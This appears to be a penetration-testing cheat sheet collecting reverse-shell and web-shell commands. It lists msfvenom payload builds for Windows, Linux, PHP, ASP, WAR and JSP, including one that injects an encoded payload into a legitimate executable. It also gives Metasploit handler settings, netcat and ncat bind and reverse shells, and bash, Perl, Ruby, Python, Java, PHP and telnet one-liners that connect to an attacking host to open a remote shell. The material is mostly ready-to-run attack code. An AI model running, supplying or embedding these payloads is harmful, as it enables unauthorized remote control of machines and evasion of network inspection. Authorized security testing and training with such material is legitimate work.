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Shells
Reverse-shells
This is s great collection of different types of reverse shells and webshells. Many of the ones listed below comes from this cheat-sheet:
https://highon.coffee/blog/reverse-shell-cheat-sheet/​
​http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet​
Windows
Meterpreter
Standard meterpreter
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=445 -f exe -o shell_reverse.exe
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use exploit/multi/handler
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set payload windows/meterpreter/reverse_tcp
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Meterpreter HTTPS
It makes the meterpreter-traffic look normal. Since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections.
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msfvenom -p windows/meterpreter/reverse_https LHOST=ip LPORT=443 -f exe -o met_https_reverse.exe
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Non-staged payload
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msfvenom -p windows/shell_reverse_tcp LHOST=ip LPORT=445 -f exe -o shell_reverse_tcp.exe
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use exploit/multi/handler
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set payload windows/shell_reverse_tcp
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Staged payloadi
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This must be caught with metasploit. It does not work with netcat.
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use exploit/multi/handler
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set payload windows/shell/reverse_tcp
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Inject payload into binary
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe
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Linux
Binary
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msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=443 -f elf > shell.elf
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Bash
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0<&196;exec 196<>/dev/tcp/ip/80; sh <&196 >&196 2>&196
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bash -i >& /dev/tcp/ip/8080 0>&1
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Php
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php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
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Netcat
Bind shell
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#Linux
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nc -vlp 5555 -e /bin/bash
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nc ip 5555
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​
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# Windows
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nc.exe -nlvp 4444 -e cmd.exe
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Reverse shell
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# Linux
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nc -lvp 5555
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nc ip 5555 -e /bin/bash
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​
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# Windows
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nc -lvp 443
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nc.exe ip 443 -e cmd.exe
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With -e flag
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nc -e /bin/sh ATTACKING-IP 80
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/bin/sh | nc ATTACKING-IP 80
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Without -e flag
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rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
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Ncat
Ncat is a better and more modern version of netcat. One feature it has that netcat does not have is encryption. If you are on a pentestjob you might not want to communicate unencrypted.
Bind
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ncat --exec cmd.exe --allow 192.168.1.101 -vnl 5555 --ssl
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ncat -v ip 5555 --ssl
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Telnet
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rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
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telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
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Perl
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perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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Ruby
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ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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Java
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r = Runtime.getRuntime()
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p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
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p.waitFor()
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Python
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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Web-shells 
PHP
This php-shell is OS-independent. You can use it on both Linux and Windows.
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msfvenom -p php/meterpreter_reverse_tcp LHOST=ip LPORT=443 -f raw > shell.php
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ASP
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=443 -f asp > shell.asp
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WAR
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=443 -f war > shell.war
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JSP
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=443 -f raw > shell.jsp
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Password Crack
Linux Reverse Shell [One liner]
Last modified 1yr ago
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